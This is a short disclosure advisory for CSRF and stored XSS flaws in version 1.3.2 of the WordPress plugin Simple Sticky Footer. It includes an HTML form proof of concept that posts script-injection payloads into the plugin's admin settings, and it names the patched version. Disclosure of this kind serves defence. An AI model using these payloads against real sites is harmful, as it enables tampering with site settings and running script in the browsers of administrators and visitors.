WordPress Simple Sticky Footer 1.3.2 CSRF / XSS

`Title: WordPress 'Simple Sticky Footer' plugin - CSRF/XSS  
Version: 1.3.2  
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej  
Date: 2014/12/12  
Download: https://wordpress.org/plugins/simple-sticky-footer/  
Notified WordPress: 2014/11/27  
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## Description:   
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Simple Sticky Footer is a lightweight plugin, it allows to promote/advertise a WP Page (rich-text document) as a sticky footer (always on top div).  
  
## CSRF:  
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It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page.   
  
  
## Stored XSS:  
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Settings data from the admin page is stored unsanitized and shown on the plugin's admin page. This allows an attacker to perform XSS through the settings fields.   
  
PoC:  
Log in to a vulnerable site and press submit on this form:   
  
<form method="POST" action="http://[Domain]/wp-admin/themes.php?page=simple-simple-sticky-footer">   
<input type="text" name="page_id" value="7"><br />  
<input type="text" name="simple_sf_width" value="'/><script>alert(1)</script>"><br />  
<input type="text" name="simple_sf_effect" value="fade"><br />  
<input type="text" name="simple_sf_delay" value="0"><br />   
<input type="text" name="simple_sf_style" value="</textarea><script>alert(2)</script>"><br />   
<input type="text" name="submit" value="save"><br />  
<input type="submit">  
</form>  
  
  
## Solution  
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Update to version 1.3.3.  
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